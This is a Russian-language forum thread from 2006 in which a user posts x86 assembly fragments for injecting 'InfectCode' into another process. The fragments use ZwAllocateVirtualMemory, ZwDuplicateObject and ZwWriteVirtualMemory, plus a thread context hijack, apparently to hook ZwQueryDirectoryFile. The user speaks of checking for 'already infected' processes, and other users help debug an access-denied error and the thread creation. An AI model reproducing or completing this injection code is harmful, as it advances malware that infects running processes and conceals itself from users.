14 byte inject

Тема в разделе "WASM.BEGINNERS", создана пользователем el-, 10 окт 2006.

  1. el-

    el- New Member

    Публикаций:
    0
    Регистрация:
    14 сен 2006
    Сообщения:
    89
    пытаюсь повторить сабж описаный msrem'ом ... но чего то у меня не выходит ... значит по порядку, открываю процесс, выделяю в нем память, делаю копию свое хендла и копирую все это дело в чужой процесс ...

    Код (Text):
    1.     push    PAGE_EXECUTE_READWRITE  ; dwProtection
    2.     push    MEM_TOP_DOWN+MEM_COMMIT ; dwAloocType
    3.     lea eax,[ebp-4]
    4.     mov dword[eax],dwAllSize + InfectSize
    5.     push    eax         ; lpdwSize
    6.     push    0           ; dwZeroBit
    7.     lea eax,[ebp-8]
    8.     and dword[eax],0
    9.     push    eax         ; lpAddr
    10.     push    ebx         ; hProc
    11.     call    [ZwAllocateVirtualMemory]
    12.     test    eax,eax
    13.     jnz .ret
    14.     push    eax
    15.     push    eax
    16.     push    PROCESS_QUERY_INFORMATION
    17.     push    hOurHandle      ; lpHandle
    18.     push    ebx         ; hProc
    19.     dec eax
    20.     ; eax = -1
    21.     push    eax
    22.     push    eax
    23.     call    [ZwDuplicateObject]
    24.     test    eax,eax
    25.     jnz .ret
    26.     ; eax = NULL
    27.     push    eax
    28.     push    InfectSize      ; dwNumBytes
    29.     push    InfectCode      ; lpFromAddr
    30.     push    dword[ebp-8]        ; lpToAddr
    31.     push    ebx         ; hProc
    32.     call    [ZwWriteVirtualMemory]
    все проходит на ура, все функции возвращаю 0 ... потом вобщем создаю приостановленный тред, меняю тред контекст ... и жму resumethread ... запускаю все это в дувух ольках и смотрю оба процесса сразу ... все прикрасно в захваченно процессе вылетает на бряк ...

    Код (Text):
    1.     push    0           ; lpRetLenght
    2.     push    50h         ; dwNumBytes
    3.     push    edi         ; lpToAddr
    4.     push    Readed          ; lpFromAddr
    5.     push    esi         ; hProc
    6.     call    ebx         ; ZwReadVirtualMemory
    все значение регистров правильные, единственный косяк, что ZwReadVirtualMemory возвращает C0000022, если мне не изменяет память, это ACCESS DENIED ... собственно вопрос почему ? грешу на ZwDuplicateObject или на то что пускаю под двумя отладчиками ... чесно говоря больше всетаки на ZwDuplicateObject, т.к. перед еще выше я читаю из процесса в который собираюсь инжектится, что не напоротяс на уже зараженный процесс...

    Код (Text):
    1.     push    0           ; lpRetLenght
    2.     push    4           ; dwNumBytes
    3.     lea eax,[ebp-4]
    4.     push    eax         ; lpToAddr
    5.     push    [ZwQueryDirectoryFile]  ; lpFromAddr
    6.     push    ebx         ; hProc
    7.     call    [ZwReadVirtualMemory]
    вобщем люди на вас вся надежда ... у меня мыслей нет ):
     
  2. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    ZwReadVirtualMemory нужен доступ PROCESS_VM_READ, а не PROCESS_QUERY_INFORMATION
     
  3. el-

    el- New Member

    Публикаций:
    0
    Регистрация:
    14 сен 2006
    Сообщения:
    89
    спасибо обязательно попробую ...
     
  4. el-

    el- New Member

    Публикаций:
    0
    Регистрация:
    14 сен 2006
    Сообщения:
    89
    ах да еще вопрос ... вот что бы создать новый тред используя натив апи, придется создавать тред, информировать csrss, а потом ресьюмить тред ... или есть способ проще ?
     
  5. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    csrss можно не информировать, если поток не будет использовать никаких функций, кроме native. В противном случае информировать его обязательно.
    Проще никак не получится
     
  6. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    нету.